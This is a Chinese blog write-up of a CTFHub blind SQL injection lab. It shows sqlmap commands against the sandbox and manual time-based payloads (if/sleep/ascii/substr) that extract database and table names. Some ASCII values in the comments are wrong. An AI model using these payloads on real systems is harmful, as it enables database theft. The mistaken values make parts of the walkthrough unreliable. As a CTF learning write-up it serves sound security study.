CTFHub-sql注入之盲注

 解题方法:

方法一:用sqlmap直接跑

方法二:手注(不建议)

方法三:写py脚本

用sqlmap直接跑

首先来看看基本的sqlmap命令吧


sqlmap -u url --current-user #获取当前用户名称 :
sqlmap -u url --current-db #获取当前数据库名称
sqlmap -u url -D 数据库名 --tables   #列出表名 : 
sqlmap -u url -D 数据库名 -T 表名 --columns #列出字段 
sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容

这里直接从获取库名开始了

打开sqlmap,输入命令:

sqlmap -u "http://challenge-1b076e041809ba5d.sandbox.ctfhub.com:10800/?id=1" --dbs

获取到的数据库有下面四个

 

其中前三个是mysql的配置库,显然我们应该爆第四个sqli

-D好像区分大小写,-d应该不行

sqlmap -u "http://challenge-1b076e041809ba5d.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

 获得上面两个表,接下来拿flag中的列和值

sqlmap -u "http://challenge-6d8fb2b2657c0800.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --dump

 

拿到flag。

手注(不建议)

首先看这个if(expr1,expr2,expr3)

含义是如果expr1是True,则返回expr2,否则返回expr3。

然后步骤如下:

1.猜数据库长度

2.猜数据库名

3.猜数据库的表数量

4.猜表名

5.列的数量

6.猜列长

7.猜列名

8.猜记录的条数

9.猜记录的长度

10.依次猜记录

这里用二分法猜测会比较快一点

1.猜数据库长度

1 and if(length(database())<10,sleep(3),1)#结果为真,二分,取5-10
1 and if(length(database())>5,sleep(3),1)#结果为假,取3-5
1 and if(length(database())>3,sleep(3),1)#为真,取4
1 and if(length(database())=4,sleep(3),1)#为真

页面3秒后响应的即为真

数据库长度为4

2.猜数据库名

随便找个点,ascii(n) 110   开始

substr(对象,开始点,截取长度)

1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) #ascii(s)=115

1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)	#ascii(q)=113

1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=1110,sleep(3),1)	#ascii(l)=110

1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)	#ascii(i)=105

得到数据库名sqli

3.猜数据库的表数量

二分法慢慢试,得到是2张表

1 and if((select count(table_name) from information_schema.tables
 where table_schema=database())=2,sleep(3),1)

4.猜表名

第一张表

1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)  #ascii(n)=110,第一张表的第一个字母


1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),2,1))=101,sleep(3),1)  #ascii(e)=101,第一张表的第二个字母


1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),3,1))=119,sleep(3),1)  #ascii(w)=119,第一张表的第3个字母



1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),4,1))=115,sleep(3),1)  #ascii(s)=115,第一张表的第4个字母


news

第二张表

1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 1,1),1,1))=100,sleep(3),1)  #ascii(f)=102,第2张表的第1个字母

依次改变截取开始点,得到表名flag

5678910参考:
点我

py脚本(基于手注写)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值